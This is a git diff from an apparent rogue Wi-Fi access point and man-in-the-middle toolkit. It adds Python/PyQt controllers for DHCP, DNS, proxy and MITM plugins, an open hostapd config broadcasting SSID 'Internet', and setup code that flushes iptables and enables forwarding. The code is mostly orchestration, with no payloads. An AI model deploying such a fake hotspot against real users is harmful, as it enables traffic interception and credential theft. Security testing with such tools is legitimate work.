+# Put hostapd in white/black list mode +#macaddr_acl=0 +# only used if you want to do filter by MAC address +#accept_mac_file=/etc/mana-toolkit/hostapd.accept +#deny_mac_file=/etc/mana-toolkit/hostapd.deny + diff --git a/core/config/hostapd/hostapd.conf b/core/config/hostapd/hostapd.conf new file mode 100644 index 0000000..287ba59 --- /dev/null +++ b/core/config/hostapd/hostapd.conf @@ -0,0 +1,14 @@ +interface=wlxc83a35cef744 +ssid=Internet +channel=11 +bssid=BC:F6:85:21:26:0B +driver=nl80211 +disassoc_low_ack=0 +ap_max_inactivity=3000 +auth_algs=3 +logger_syslog=-1 +logger_stdout=-1 +logger_syslog_level=2 +logger_stdout_level=2 +ctrl_interface=/var/run/hostapd +ctrl_interface_group=0 diff --git a/core/controllers/__init__.py b/core/controllers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/controllers/activitymonitorcontrol.py b/core/controllers/activitymonitorcontrol.py new file mode 100644 index 0000000..a2d020f --- /dev/null +++ b/core/controllers/activitymonitorcontrol.py @@ -0,0 +1,39 @@ +from core.config.globalimport import * +from core.widgets.docks.activitymonitor import * + + +class ActivityMonitorControl(QtGui.QGroupBox): + monitor ={} + addDock = QtCore.pyqtSignal(bool) + def __init__(self,parent = None,**kwargs): + super(ActivityMonitorControl,self).__init__(parent) + self.setTitle("Activity Monitor") + self.mainlayout = QtGui.QGridLayout() + _actmon = [act(parent=self) for act in activitymonitor.ActivityMonitor.__subclasses__()] + row=0 + col=0 + + for i in _actmon: + self.monitor[i.id]=i + self.mainlayout.addWidget(i.controlui,row,col) + row +=1 + + if row==3: + col +=1 + self.setLayout(self.mainlayout) + + + def dockMonitorUpdate(self): + pass + + @property + def Active(self): + active=[] + for v in self.monitor.values(): + if v.controlui.isChecked(): + active.append(v) + return active + + + + diff --git a/core/controllers/dhcpcontroller.py b/core/controllers/dhcpcontroller.py new file mode 100644 index 0000000..0437110 --- /dev/null +++ b/core/controllers/dhcpcontroller.py @@ -0,0 +1,29 @@ +from core.config.globalimport import * +from core.utility.component import ControllerBlueprint +from core.servers.dhcp import * + +class DHCPController(ControllerBlueprint): + def __init__(self,parent): + super(DHCPController,self).__init__() + self.parent = parent + __dhcpmode = dhcp.DHCPSettings.instances[0].dhmode + self.mode = {} + for k in __dhcpmode: + self.mode[k.ID]=k + def Start(self): + self.Active.Start() + @property + def ActiveService(self): + return self.Active.service + @property + def Active(self): + for i in self.mode.values(): + if i.controlui.isChecked(): + return i + @property + def ActiveReactor(self): + #reactor=[self.Active.reactor,self.Active.service] + return self.Active.reactor + def Stop(self): + self.Active.Stop() + diff --git a/core/controllers/dnscontroller.py b/core/controllers/dnscontroller.py new file mode 100644 index 0000000..8527dec --- /dev/null +++ b/core/controllers/dnscontroller.py @@ -0,0 +1,29 @@ +from core.config.globalimport import * +from core.utility.component import ControllerBlueprint +from core.servers.dns import * + + +class DNSController(QtGui.QGroupBox,ControllerBlueprint): + dockMount = QtCore.pyqtSignal(bool) + def __init__(self,parent=None,**kwargs): + super(DNSController,self).__init__(parent) + self.parent = parent + self.DNSSettings = DNSBase.DNSSettings.getInstance() + for dns in self.DNSSettings.dnslist: + dns.dockwidget.addDock.connect(self.dockUpdate) + setattr(self,dns.ID,dns) + def dockUpdate(self,add=True): + self.dockMount.emit(add) + def Start(self): + self.Active.Start() + @property + def ActiveReactor(self): + return self.Active.reactor + @property + def Active(self): + for dns in self.DNSSettings.dnslist: + if dns.controlui.isChecked(): + return dns + + + diff --git a/core/controllers/mitmcontroller.py b/core/controllers/mitmcontroller.py new file mode 100644 index 0000000..c4fe7dd --- /dev/null +++ b/core/controllers/mitmcontroller.py @@ -0,0 +1,107 @@ +from core.config.globalimport import * +from collections import OrderedDict +from core.servers.http_handler.proxyhandler import * +from core.widgets.default.uimodel import * +from core.utility.component import ControllerBlueprint + + +class MitmController(PluginsUI,ControllerBlueprint): + Name = "MITM" + Caption = "Activity Monitor" + mitmhandler = {} + SetNoMitmMode = QtCore.pyqtSignal(object) + dockMount = QtCore.pyqtSignal(bool) + def __init__(self,parent = None,**kwargs): + super(MitmController, self).__init__(parent) + self.parent=parent + self.FSettings = SuperSettings.getInstance() + #self.uplinkIF = self.parent.Refactor.get_interfaces() + #self.downlinkIF = self.parent.WLANCard.currentText() + __manipulator= [prox(parent=self.parent) for prox in MitmMode.MitmMode.__subclasses__()] + #Keep Proxy in a dictionary + for k in __manipulator: + self.mitmhandler[k.Name]=k + + self.m_name = [] + self.m_desc = [] + self.m_settings = [] + for n,p in self.mitmhandler.items(): + self.m_name.append(p.controlui) + self.m_settings.append(p.btnChangeSettings) + self.m_desc.append(p.controlui.objectName()) + #self.manipulatorGroup.addButton(p.controlui) + p.sendSingal_disable.connect(self.DisableMitmMode) + p.dockwidget.addDock.connect(self.dockUpdate) + setattr(self,p.ID,p) + #self.parent.LeftTabBar.addItem(p.tabinterface) + #self.parent.Stack.addWidget(p) + + self.MitmModeTable = OrderedDict( + [('Activity Monitor', self.m_name), + ('Settings', self.m_settings), + ('Description', self.m_desc) + ]) + self.table.setColumnCount(3) + self.table.setRowCount(len(self.MitmModeTable['Activity Monitor'])) + self.table.resizeRowsToContents() + self.table.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.table.horizontalHeader().setStretchLastSection(True) + self.table.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + self.table.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.table.verticalHeader().setVisible(False) + self.table.verticalHeader().setDefaultSectionSize(23) + self.table.setSortingEnabled(True) + self.table.setHorizontalHeaderLabels(self.MitmModeTable.keys()) + self.table.horizontalHeader().resizeSection(0, 158) + self.table.horizontalHeader().resizeSection(1, 80) + self.table.resizeRowsToContents() + + # add all widgets in Qtable 2 plugin + Headers = [] + for n, key in enumerate(self.MitmModeTable.keys()): + Headers.append(key) + for m, item in enumerate(self.MitmModeTable[key]): + if type(item) == type(QtGui.QCheckBox()) or type(item) == type(QtGui.QPushButton()): + self.table.setCellWidget(m, n, item) + else: + item = QtGui.QTableWidgetItem(item) + self.table.setItem(m, n, item) + self.table.setHorizontalHeaderLabels(self.MitmModeTable.keys()) + def DisableMitmMode(self,status): + self.SetNoMitmMode.emit(status) + def dockUpdate(self,add=True): + self.dockMount.emit(add) + @property + def ActiveDock(self): + manobj = [] + for manip in self.Active: + manobj.append(manip.dockwidget) + return manobj + @property + def Active(self): + manobj =[] + for manip in self.mitmhandler.values(): + if manip.controlui.isChecked(): + manobj.append(manip) + return manobj + @property + def ActiveReactor(self): + reactor=[] + for i in self.Active: + reactor.append(i.reactor) + return reactor + @property + def get(self): + return self.mitmhandler + @classmethod + def disable(cls, val=True): + pass + @property + def disableproxy(self, name): + pass + def Start(self): + for i in self.Active: + i.boot() + def Stop(self): + for i in self.Active: + i.shutdown() diff --git a/core/controllers/proxycontroller.py b/core/controllers/proxycontroller.py new file mode 100644 index 0000000..c82cd65 --- /dev/null +++ b/core/controllers/proxycontroller.py @@ -0,0 +1,182 @@ +from core.config.globalimport import * +from collections import OrderedDict +from core.widgets.default.uimodel import * +from core.servers.proxy.package import * +from core.utility.component import ControllerBlueprint + + + +class ProxyModeController(PluginsUI,ControllerBlueprint): + Name = "Proxy" + Caption = "Enable Proxy Server" + proxies = {} + SetNoProxy = QtCore.pyqtSignal(object) + dockMount = QtCore.pyqtSignal(bool) + + def __init__(self,parent = None,**kwargs): + super(ProxyModeController, self).__init__(parent) + self.parent=parent + self.FSettings = SuperSettings.getInstance() + self.setCheckable(True) + self.setChecked(self.FSettings.Settings.get_setting('plugins', 'disableproxy', format=bool)) + self.clicked.connect(self.get_disable_proxy) + self.proxyGroup = QtGui.QButtonGroup() + __proxlist= [prox(parent=self.parent) for prox in ProxyMode.ProxyMode.__subclasses__()] + + #Keep Proxy in a dictionary + for k in __proxlist: + self.proxies[k.Name]=k + + self.p_name = [] + self.p_desc = [] + self.p_settings = [] + self.p_author = [] + self.NoProxy = None + for n,p in self.proxies.items(): + if p.Name == "No Proxy": + self.NoProxy = p + self.p_name.append(p.controlui) + self.p_settings.append(p.btnChangeSettings) + self.p_author.append(p.Author) + self.p_desc.append(p.controlui.objectName()) + if (type(p.controlui) == type(QtGui.QRadioButton()) ): + self.proxyGroup.addButton(p.controlui) + p.sendSingal_disable.connect(self.DisableProxy) + p.dockwidget.addDock.connect(self.dockUpdate) + if (hasattr(p,'ID')): + setattr(self.parent, p.ID, p) + + self.THeadersPluginsProxy = OrderedDict( + [('Proxies', self.p_name), + ('Settings', self.p_settings), + ('Author', self.p_author), + ('Description', self.p_desc) + ]) + self.table.setColumnCount(4) + self.table.setRowCount(len(self.proxies)) + self.table.resizeRowsToContents() + self.table.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.table.horizontalHeader().setStretchLastSection(True) + self.table.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + self.table.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.table.verticalHeader().setVisible(False) + self.table.verticalHeader().setDefaultSectionSize(23) + self.table.setSortingEnabled(True) + self.table.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys()) + self.table.horizontalHeader().resizeSection(0, 158) + self.table.horizontalHeader().resizeSection(1, 80) + self.table.resizeRowsToContents() + # add all widgets in Qtable 1 plgins + Headers = [] + for n, key in enumerate(self.THeadersPluginsProxy.keys()): + Headers.append(key) + for m, item in enumerate(self.THeadersPluginsProxy[key]): + if type(item) == type(QtGui.QRadioButton()) or type(item) == type(QtGui.QPushButton()): + self.table.setCellWidget(m, n, item) + elif type(item) == type(QtGui.QCheckBox()): + self.table.setCellWidget(m, n, item) + else: + item = QtGui.QTableWidgetItem(item) + self.table.setItem(m, n, item) + self.table.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys()) + def get_disable_proxy(self): + + + if self.isChecked(): + if self.Active.Name == "No Proxy": + self.SetNoProxy.emit(False) + else: + + self.parent.set_proxy_statusbar(self.Active.Name, disabled=False) + self.FSettings.Settings.set_setting('plugins', 'disableproxy', + self.isChecked()) + + else: + self.SetNoProxy.emit(self.isChecked()) + self.FSettings.Settings.set_setting('plugins', 'disableproxy', + self.isChecked()) + + + def dockUpdate(self,add=True): + self.dockMount.emit(add) + def DisableProxy(self,status): + self.SetNoProxy.emit(status) + @property + def ActiveDocks(self): + return self.Active.dockwidget + + @property + def ActiveReactor(self): + reactor = [] + if self.isChecked(): + + for act in self.proxies.values(): + if act.controlui.isChecked(): + if act.Name == "No Proxy": + reactor.append(act.reactor) + reactor.append(act.subreactor) + else: + reactor.append(act.reactor) + if act.subreactor: + reactor.append(act.subreactor) + else: + reactor.append(self.NoProxy.reactor) + reactor.append(self.NoProxy.subreactor) + return reactor + + + + @property + def Active(self): + if self.isChecked(): + + for act in self.proxies.values(): + # exclude tcp proxy log + if act.controlui.text() != 'TCP Proxy': + if act.controlui.isChecked(): + if act.Name == "No Proxy": + return self.NoProxy + else: + return act + else: + return self.NoProxy + + @property + def ActiveLoad(self): + ''' load all proxies type checkbox UI in tab plugins ''' + proxies = [] + if self.isChecked(): + for act in self.proxies.values(): + if act.controlui.isChecked(): + if act.Name != "No Proxy": + proxies.append(act) + return proxies + + @property + def get(self): + return self.proxies + @classmethod + def disable(cls, val=True): + pass + @property + def disableproxy(self, name): + pass + def Start(self): + self.setEnabled(False) + self.Active.Initialize() + self.Active.Serve() + self.Active.boot() + # load proxy checkbox all type all proxies + for proxy in self.ActiveLoad: + if (proxy.Name != self.Active.Name): + proxy.Initialize() + proxy.Serve() + proxy.boot() + + def Stop(self): + self.setEnabled(True) + self.Active.Serve(False) + self.Active.shutdown() + def SaveLog(self): + + self.Active.SaveLog() \ No newline at end of file diff --git a/core/controllers/wirelessmodecontroller.py b/core/controllers/wirelessmodecontroller.py new file mode 100644 index 0000000..33376cb --- /dev/null +++ b/core/controllers/wirelessmodecontroller.py @@ -0,0 +1,412 @@ +from core.config.globalimport import * +from core.utils import * +from os import ( + system,path,getcwd, + popen,listdir,mkdir,chown +) +from shutil import move +from pwd import getpwnam +from grp import getgrnam +from core.widgets.customiseds import AutoGridLayout +from core.wirelessmode import * +from json import dumps,loads +from core.utility.threads import ProcessHostapd,ThRunDhcp,ProcessThread +from core.widgets.default.uimodel import * +from core.widgets.default.SessionConfig import * + +class WirelessModeController(QtGui.QTableWidget): + + def __init__(self, parent, **kwargs): + super(WirelessModeController,self).__init__(parent) + self.parent = parent + self.setHidden(True) # hide widget on home + self.FSettings = SuperSettings.getInstance() + self.SessionsAP = loads(str(self.FSettings.Settings.get_setting('accesspoint', 'sessions'))) + self.currentSessionID = self.parent.currentSessionID + self.SettingsAP = self.parent.SettingsAP + self.SessionConfig = SessionConfig.instances[0] + + @property + def Activated(self): + return self.Settings.getActiveMode + + @property + def ActiveReactor(self): + return self.Settings.getActiveMode.reactor + + @property + def Settings(self): + return AccessPointSettings.instances[0] + + def Start(self): + ''' start Access Point and settings plugins ''' + if len(self.Settings.WLANCard.currentText()) == 0: + return QtGui.QMessageBox.warning(self, 'Error interface ', 'Network interface is not found') + if not type(self.Activated.get_soft_dependencies()) is bool: return + + # check if interface has been support AP mode (necessary for hostapd) + if self.FSettings.Settings.get_setting('accesspoint', 'check_support_ap_mode', format=bool): + if not 'AP' in Refactor.get_supported_interface(self.Settings.WLANCard.currentText())['Supported']: + return QtGui.QMessageBox.warning(self, 'No Network Supported failed', + "failed AP mode: warning interface , the feature " + "Access Point Mode is Not Supported By This Device ->({}).

" + "Your adapter does not support for create Access Point Network." + " ".format(self.Settings.WLANCard.currentText())) + + # check connection with internet + #self.interfacesLink = Refactor.get_interfaces() + # check if Wireless interface is being used + if str(self.Settings.WLANCard.currentText()) == self.Activated.interfacesLink['activated'][0]: + iwconfig = Popen(['iwconfig'], stdout=PIPE, shell=False, stderr=PIPE) + for line in iwconfig.stdout.readlines(): + if str(self.Settings.WLANCard.currentText()) in line: + return QtGui.QMessageBox.warning(self, 'Wireless interface is busy', + 'Connection has been detected, this {} is joined the correct Wi-Fi network' + ' : Device or resource busy\n{}\nYou may need to another Wi-Fi USB Adapter' + ' for create AP or try use with local connetion(Ethernet).'.format( + str(self.Settings.WLANCard.currentText()), line)) + # check if using ethernet or wireless connection + print('[*] Configuring {}...'.format(self.Activated.Name)) + self.parent.SettingsEnable['AP_iface'] = str(self.Settings.WLANCard.currentText()) + set_monitor_mode(self.parent.SettingsEnable['AP_iface']).setDisable() + if self.Activated.interfacesLink['activated'][1] == 'ethernet' or self.Activated.interfacesLink['activated'][1] == 'ppp' \ + or self.Activated.interfacesLink['activated'][0] == None: # allow use without internet connection + # change Wi-Fi state card + Refactor.kill_procInterfaceBusy() # killing network process + try: + check_output(['nmcli', 'radio', 'wifi', "off"]) # old version + except Exception: + try: + check_output(['nmcli', 'nm', 'wifi', "off"]) # new version + except Exception as error: + return QtGui.QMessageBox.warning(self, 'Error nmcli', str(error)) + finally: + call(['rfkill', 'unblock', 'wifi']) + + self.Activated.Start() + self.Settings.setEnabled(False) + return None + + + def Stop(self): + self.Settings.setEnabled(True) + + + + +class APStatus(HomeDisplay): + Name = "AP Status" + ID = "APStatus" + ''' dashboard infor Acccess Point ''' + def __init__(self,parent=0): + super(APStatus, self).__init__(parent) + self.timer = QtCore.QTimer() + self.mainLayout = QtGui.QFormLayout() + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + self.split_window = QtGui.QHBoxLayout() + + guageWindow = QtGui.QGridLayout() + self.currentThreadLabel = QtGui.QLabel('0') + currentthread = self.create_info_box('CURRENT THREADS', 'infor', + self.currentThreadLabel) + + self.sectionTimeLabel = QtGui.QLabel('00:00') + currentTime = self.create_info_box('UPTIME', 'infor', self.sectionTimeLabel) + guageWindow.addLayout(currentthread, 1, 1) + guageWindow.addLayout(currentTime, 0, 1) + + self.AP_name = QtGui.QLabel(self.FSettings.Settings.get_setting('accesspoint', 'ssid')) + self.AP_BSSID = QtGui.QLabel(self.FSettings.Settings.get_setting('accesspoint', 'bssid')) + self.AP_Channel = QtGui.QLabel(self.FSettings.Settings.get_setting('accesspoint', 'channel')) + self.AP_NetworkApdater = QtGui.QLabel(self.FSettings.Settings.get_setting('accesspoint', 'interfaceAP')) + self.AP_ROUTER = QtGui.QLabel(self.FSettings.Settings.get_setting('dhcp', 'router')) + self.AP_DHCP_range = QtGui.QLabel(self.FSettings.Settings.get_setting('dhcp', 'range')) + self.AP_Security = QtGui.QLabel('') + self.update_security_label(self.FSettings.Settings.get_setting('accesspoint', 'enable_Security', format=bool)) + + self.group_AccessPoint = QtGui.QGroupBox() + self.form_window = AutoGridLayout() + self.form_window.setSpacing(10) + self.group_AccessPoint.setTitle('Access Point') + self.form_window.addNextWidget(QtGui.QLabel('AP Name:')) + self.form_window.addNextWidget(self.AP_name) + self.form_window.addNextWidget(QtGui.QLabel('BSSID:')) + self.form_window.addNextWidget(self.AP_BSSID) + self.form_window.addNextWidget(QtGui.QLabel('Channel:')) + self.form_window.addNextWidget(self.AP_Channel) + self.form_window.addNextWidget(QtGui.QLabel('Network Adapter:')) + self.form_window.addNextWidget(self.AP_NetworkApdater) + self.form_window.addNextWidget(QtGui.QLabel('Router:')) + self.form_window.addNextWidget(self.AP_ROUTER) + self.form_window.addNextWidget(QtGui.QLabel('DHCP:')) + self.form_window.addNextWidget(self.AP_DHCP_range) + self.form_window.addNextWidget(QtGui.QLabel('Security Password:')) + self.form_window.addNextWidget(self.AP_Security) + self.form_window.addItem(QtGui.QSpacerItem(40, 10, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)) + self.group_AccessPoint.setLayout(self.form_window) + + self.split_window.addWidget(self.group_AccessPoint) + self.split_window.addLayout(guageWindow) + + self.mainLayout.addRow(self.split_window) + self.layout.addWidget(self.scroll) + + def update_labels(self): + self.AP_name.setText(self.FSettings.Settings.get_setting('accesspoint', 'ssid')) + self.AP_BSSID.setText(self.FSettings.Settings.get_setting('accesspoint', 'bssid')) + self.AP_Channel.setText(self.FSettings.Settings.get_setting('accesspoint', 'channel')) + self.AP_NetworkApdater.setText(self.FSettings.Settings.get_setting('accesspoint', 'interfaceAP')) + self.AP_ROUTER.setText(self.FSettings.Settings.get_setting('dhcp', 'router')) + self.AP_DHCP_range.setText(self.FSettings.Settings.get_setting('dhcp', 'range')) + self.update_security_label(self.FSettings.Settings.get_setting('accesspoint', 'enable_Security', format=bool)) + + def start_timer(self): + + self.now = 0 + self.update_timer() + self.timer.timeout.connect(self.tick_timer) + self.timer.start(1000) + + def update_timer(self): + self.runtime = ('%d:%02d' % (self.now / 60, self.now % 60)) + self.sectionTimeLabel.setText(self.runtime) + self.currentThreadLabel.setText(self.FSettings.Settings.get_setting('runningconfig', 'totalthread')) + + def tick_timer(self): + self.now += 1 + self.update_timer() + + def stop_timer(self): + self.timer.stop() + self.sectionTimeLabel.setText('00:00') + self.currentThreadLabel.setText('0') + + def update_security_label(self, bool): + if bool: + self.AP_Security.setText('[ON]') + self.AP_Security.setStyleSheet('QLabel { color : green; }') + else: + self.AP_Security.setText('[OFF]') + self.AP_Security.setStyleSheet('QLabel { color : #df1f1f; }') + + def create_info_box(self, labelText, objectName, valueLabel): + infoBox = QtGui.QVBoxLayout() + infoBox.setSpacing(0) + label = QtGui.QLabel(labelText) + label.setObjectName('label') + valueLabel.setAlignment(QtCore.Qt.AlignCenter) + valueLabel.setObjectName(objectName) + infoBox.addWidget(label) + infoBox.addWidget(valueLabel) + return infoBox + + +class AccessPointSettings(CoreSettings): + Name = "Access Point" + ID = "Wireless" + Category = "Wireless" + instances=[] + def __init__(self,parent): + super(AccessPointSettings,self).__init__(parent) + self.__class__.instances.append(weakref.proxy(self)) + self.setMaximumWidth(600) + self.__modelist = [mode(self.parent) for mode in WirelessMode.Mode.__subclasses__()] + + self.setCheckable(False) + self.get_interfaces = Refactor.get_interfaces() + self.btrn_refresh = QtGui.QPushButton("Requery") + self.btrn_refresh.setIcon(QtGui.QIcon('icons/refresh.png')) + self.btrn_refresh.setFixedWidth(200) + self.btrn_refresh.clicked.connect(self.set_interface_wireless) + self.WLANCard = QtGui.QComboBox() + self.GroupAdapter = QtGui.QGroupBox() + self.layoutNetworkAd = QtGui.QHBoxLayout() + interfaces = self.get_interfaces['all'] + + wireless = [] + for iface in interfaces: + if search('wl', iface): + wireless.append(iface) + self.WLANCard.addItems(wireless) + interface = self.FSettings.Settings.get_setting('accesspoint', 'interfaceAP') + if interface != 'None' and interface in self.get_interfaces['all']: + self.WLANCard.setCurrentIndex(wireless.index(interface)) + + self.btrn_find_Inet = QtGui.QPushButton("Find Interface") + self.btrn_find_Inet.setIcon(QtGui.QIcon('icons/router2.png')) + self.btrn_find_Inet.clicked.connect(self.check_NetworkConnection) + self.btrn_find_Inet.setFixedWidth(220) + self.GroupAdapter.setTitle('Network Adapter') + self.layoutNetworkAd.addWidget(self.WLANCard) + self.layoutNetworkAd.addWidget(self.btrn_refresh) + self.layoutNetworkAd.addWidget(self.btrn_find_Inet) + self.GroupAdapter.setLayout(self.layoutNetworkAd) + self.GroupAdapter.show() + self.ModeGroup = QtGui.QButtonGroup() + self.ModeSelection = QtGui.QGroupBox() + self.ModeSelectionLayout = QtGui.QVBoxLayout() + self.ModeSelection.setLayout(self.ModeSelectionLayout) + self.ModeSelection.setTitle("Wireless Operation Mode") + self.ModeList = {} + for mode in self.__modelist: + setattr(self.__class__, mode.ID, mode) + self.ModeGroup.addButton(mode.controlui) + self.ModeSelectionLayout.addWidget(mode.controlui) + + # self.ModeList[mode.ID] = QtGui.QRadioButton(mode.Name) + # self.ModeList[mode.ID].setObjectName(mode.ID) + # self.ModeGroup.addButton(self.ModeList[mode.ID]) + # self.ModeSelectionLayout.addWidget(self.ModeList[mode.ID]) + # self.ModeList[mode.ID].setChecked(self.FSettings.Settings.get_setting('accesspoint', mode.ID,format=bool)) + # self.ModeList[mode.ID].toggled.connect(partial(self.ModelistChanged,mode,self.ModeList[mode.ID])) + + + # Initialize WLAN Settings + + + self.WLayout = QtGui.QGroupBox() + self.WLayout.setTitle("Access Point") + self.WLayout.setFixedWidth(260) + self.WLGrid = QtGui.QGridLayout() + self.WLayout.setLayout(self.WLGrid) + self.EditSSID = QtGui.QLineEdit() + self.BtnRandomSSID = QtGui.QPushButton() + self.BtnRandomSSID.setIcon(QtGui.QIcon('icons/refresh.png')) + self.BtnRandomSSID.clicked.connect(self.setAP_essid_random) + self.EditBSSID = QtGui.QLineEdit() + self.EditChannel = QtGui.QSpinBox() + self.EditChannel.setMaximum(11) + self.EditChannel.setFixedWidth(10) + self.EditChannel.setMinimum(0) + + self.WLGrid.addWidget(QtGui.QLabel("SSID:"), 0, 0) + self.WLGrid.addWidget(self.EditSSID, 0, 1) + self.WLGrid.addWidget(QtGui.QLabel("BSSID:"), 1, 0) + self.WLGrid.addWidget(self.EditBSSID, 1, 1) + self.WLGrid.addWidget(self.BtnRandomSSID, 1, 2) + self.WLGrid.addWidget(QtGui.QLabel("Channel:"), 2, 0) + self.WLGrid.addWidget(self.EditChannel, 2, 1) + + self.EditSSID.setText(self.FSettings.Settings.get_setting('accesspoint', 'ssid')) + self.EditBSSID.setText(self.FSettings.Settings.get_setting('accesspoint', 'bssid')) + self.EditChannel.setValue(self.FSettings.Settings.get_setting('accesspoint', 'channel', format=int)) + self.layout.addWidget(self.WLayout) + self.layout.addWidget(self.GroupAdapter) + self.layout.addWidget(self.ModeSelection) + + def ModelistChanged(self,mode,widget): + pass + @property + def getActiveMode(self): + for mode in self.__modelist: + if mode.controlui.isChecked(): + return mode + + @property + def getInstances(self): + return self.instances + def setAP_essid_random(self): + ''' set random mac 3 last digits ''' + prefix = [] + for item in [x for x in str(self.EditBSSID.text()).split(':')]: + prefix.append(int(item,16)) + self.EditBSSID.setText(Refactor.randomMacAddress([prefix[0],prefix[1],prefix[2]]).upper()) + + def set_interface_wireless(self): + ''' get all wireless interface available ''' + self.WLANCard.clear() + self.btrn_refresh.setEnabled(False) + ifaces = Refactor.get_interfaces()['all'] + QtCore.QTimer.singleShot(3000, lambda : self.add_avaliableIterfaces(ifaces)) + self.deleteObject(ifaces) + def add_avaliableIterfaces(self,ifaces): + for index,item in enumerate(ifaces): + if search('wl', item): + self.WLANCard.addItem(ifaces[index]) + return self.btrn_refresh.setEnabled(True) + def check_NetworkConnection(self): + ''' update inferfaces ''' + self.btrn_find_Inet.setEnabled(False) + interfaces = Refactor.get_interfaces() + self.parent.set_StatusConnected_Iface(False,'checking...',check=True) + QtCore.QTimer.singleShot(3000, lambda: self.set_backgroud_Network(interfaces)) + def set_backgroud_Network(self,get_interfaces): + ''' check interfaces on background ''' + if get_interfaces['activated'][0] != None: + self.InternetShareWiFi = True + self.btrn_find_Inet.setEnabled(True) + return self.parent.set_StatusConnected_Iface(True, get_interfaces['activated'][0]) + self.InternetShareWiFi = False + self.btrn_find_Inet.setEnabled(True) + return self.parent.set_StatusConnected_Iface(False,'') + def setAP_essid_random(self): + ''' set random mac 3 last digits ''' + prefix = [] + for item in [x for x in str(self.EditBSSID.text()).split(':')]: + prefix.append(int(item,16)) + self.EditBSSID.setText(Refactor.randomMacAddress([prefix[0],prefix[1],prefix[2]]).upper()) + def configure_network_AP(self): + ''' configure interface and dhcpd for mount Access Point ''' + self.DHCP = self.Settings.DHCP.conf + self.SettingsEnable['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port') + self.SettingsAP = { + 'interface': + [ + 'ifconfig %s up'%(self.SettingsEnable['AP_iface']), + 'ifconfig %s %s netmask %s'%(self.SettingsEnable['AP_iface'],self.DHCP['router'],self.DHCP['netmask']), + 'ifconfig %s mtu 1400'%(self.SettingsEnable['AP_iface']), + 'route add -net %s netmask %s gw %s'%(self.DHCP['subnet'], + self.DHCP['netmask'],self.DHCP['router']) + ], + 'kill': + [ + 'iptables --flush', + 'iptables --table nat --flush', + 'iptables --delete-chain', + 'iptables --table nat --delete-chain', + 'ifconfig %s 0'%(self.SettingsEnable['AP_iface']), + 'killall dhpcd 2>/dev/null', + ], + 'hostapd': + [ + 'interface={}\n'.format(str(self.Settings.WLANCard.currentText())), + 'ssid={}\n'.format(str(self.EditApName.text())), + 'channel={}\n'.format(str(self.EditChannel.value())), + 'bssid={}\n'.format(str(self.EditBSSID.text())), + ], + 'dhcp-server': + [ + 'authoritative;\n', + 'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']), + 'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']), + 'subnet %s netmask %s {\n'%(self.DHCP['subnet'],self.DHCP['netmask']), + 'option routers {};\n'.format(self.DHCP['router']), + 'option subnet-mask {};\n'.format(self.DHCP['netmask']), + 'option broadcast-address {};\n'.format(self.DHCP['broadcast']), + 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), + 'option domain-name-servers {};\n'.format('8.8.8.8'), + 'range {};\n'.format(self.DHCP['range'].replace('/',' ')), + '}', + ], + } + print('[*] Enable forwarding in iptables...') + Refactor.set_ip_forward(1) + # clean iptables settings + for line in self.SettingsAP['kill']: exec_bash(line) + # set interface using ifconfig + for line in self.SettingsAP['interface']: exec_bash(line) + # check if dhcp option is enabled. + if self.FSettings.Settings.get_setting('accesspoint','dhcp_server',format=bool): + with open(C.DHCPCONF_PATH,'w') as dhcp: + for line in self.SettingsAP['dhcp-server']:dhcp.write(line) + dhcp.close() + if not path.isdir('/etc/dhcp/'): mkdir('/etc/dhcp') + move(C.DHCPCONF_PATH, '/etc/dhcp/') + + + + \ No newline at end of file diff --git a/core/defaultwidget.py b/core/defaultwidget.py new file mode 100644 index 0000000..c44ad58 --- /dev/null +++ b/core/defaultwidget.py @@ -0,0 +1,29 @@ +from core.config.globalimport import * +from core.widgets.default.uimodel import * + + +class DefaultWidget(QtGui.QWidget): + def __init__(self,parent = None,**kwargs): + super(DefaultWidget,self).__init__(parent) + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.defaultui = [] + self.allui =[] + self.__tabbyname = {} + __defaultui = [ui(parent,self.FSettings) for ui in TabsWidget.__subclasses__()] + for ui in __defaultui: + if not ui.isSubitem: + self.defaultui.append(ui) + self.allui.append(ui) + self.__tabbyname[ui.Name]=ui + setattr(self.__class__,ui.ID,ui) + + def CoreTabsByName(self,name): + + if self.__tabbyname.has_key(name): + return self.__tabbyname[name] + + @property + def CoreTabs(self): + return self.defaultui + diff --git a/core/helpers/about.py b/core/helpers/about.py index 7888776..7f80003 100644 --- a/core/helpers/about.py +++ b/core/helpers/about.py @@ -49,7 +49,7 @@ def __init__(self,parent = None): self.formMode.addRow(QtGui.QLabel('@davinerd')) self.formMode.addRow(QtGui.QLabel('Plugin BDFProxy-ng version fork
')) self.formMode.addRow(QtGui.QLabel(' Laurent Gaffie @lgandx')) - self.formMode.addRow(QtGui.QLabel('Plugin Responder
')) + self.formMode.addRow(QtGui.QLabel('Plugin Firelamb
')) self.formMode.addRow(QtGui.QLabel('Ben Schmidt @supernothing')) self.formMode.addRow(QtGui.QLabel('Plugin SergioProxy - bypass HSTS
